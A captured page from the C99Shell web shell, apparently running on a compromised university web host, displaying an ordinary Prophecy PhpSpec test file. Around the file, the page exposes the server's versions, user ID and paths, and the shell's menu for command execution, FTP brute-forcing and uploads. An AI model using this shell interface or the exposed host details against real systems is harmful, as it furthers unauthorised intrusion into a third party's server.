!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/phpspec/prophecy/spec/Prophecy/Doubler/   drwxr-xr-x
Free 116.56 GB of 200.55 GB (58.12%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     LazyDoubleSpec.php (2.72 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace spec\Prophecy\Doubler;

use 
PhpSpec\ObjectBehavior;

class 
LazyDoubleSpec extends ObjectBehavior
{
    
/**
     * @param \Prophecy\Doubler\Doubler $doubler
     */
    
function let($doubler)
    {
        
$this->beConstructedWith($doubler);
    }

    
/**
     * @param \Prophecy\Prophecy\ProphecySubjectInterface $double
     */
    
function it_returns_anonymous_double_instance_by_default($doubler$double)
    {
        
$doubler->double(null, array())->willReturn($double);

        
$this->getInstance()->shouldReturn($double);
    }

    
/**
     * @param \Prophecy\Prophecy\ProphecySubjectInterface $double
     * @param \ReflectionClass                            $class
     */
    
function it_returns_class_double_instance_if_set($doubler$double$class)
    {
        
$doubler->double($class, array())->willReturn($double);

        
$this->setParentClass($class);

        
$this->getInstance()->shouldReturn($double);
    }

    
/**
     * @param \Prophecy\Prophecy\ProphecySubjectInterface $double1
     * @param \Prophecy\Prophecy\ProphecySubjectInterface $double2
     */
    
function it_returns_same_double_instance_if_called_2_times(
        
$doubler$double1$double2
    
)
    {
        
$doubler->double(null, array())->willReturn($double1);
        
$doubler->double(null, array())->willReturn($double2);

        
$this->getInstance()->shouldReturn($double2);
        
$this->getInstance()->shouldReturn($double2);
    }

    function 
its_setParentClass_throws_ClassNotFoundException_if_class_not_found()
    {
        
$this->shouldThrow('Prophecy\Exception\Doubler\ClassNotFoundException')
            ->
duringSetParentClass('SomeUnexistingClass');
    }

    
/**
     * @param \Prophecy\Prophecy\ProphecySubjectInterface $double
     */
    
function its_setParentClass_throws_exception_if_prophecy_is_already_created(
        
$doubler$double
    
)
    {
        
$doubler->double(null, array())->willReturn($double);

        
$this->getInstance();

        
$this->shouldThrow('Prophecy\Exception\Doubler\DoubleException')
            ->
duringSetParentClass('stdClass');
    }

    function 
its_addInterface_throws_InterfaceNotFoundException_if_no_interface_found()
    {
        
$this->shouldThrow('Prophecy\Exception\Doubler\InterfaceNotFoundException')
            ->
duringAddInterface('SomeUnexistingInterface');
    }

    
/**
     * @param \Prophecy\Prophecy\ProphecySubjectInterface $double
     */
    
function its_addInterface_throws_exception_if_prophecy_is_already_created(
        
$doubler$double
    
)
    {
        
$doubler->double(null, array())->willReturn($double);

        
$this->getInstance();

        
$this->shouldThrow('Prophecy\Exception\Doubler\DoubleException')
            ->
duringAddInterface('ArrayAccess');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0378 ]--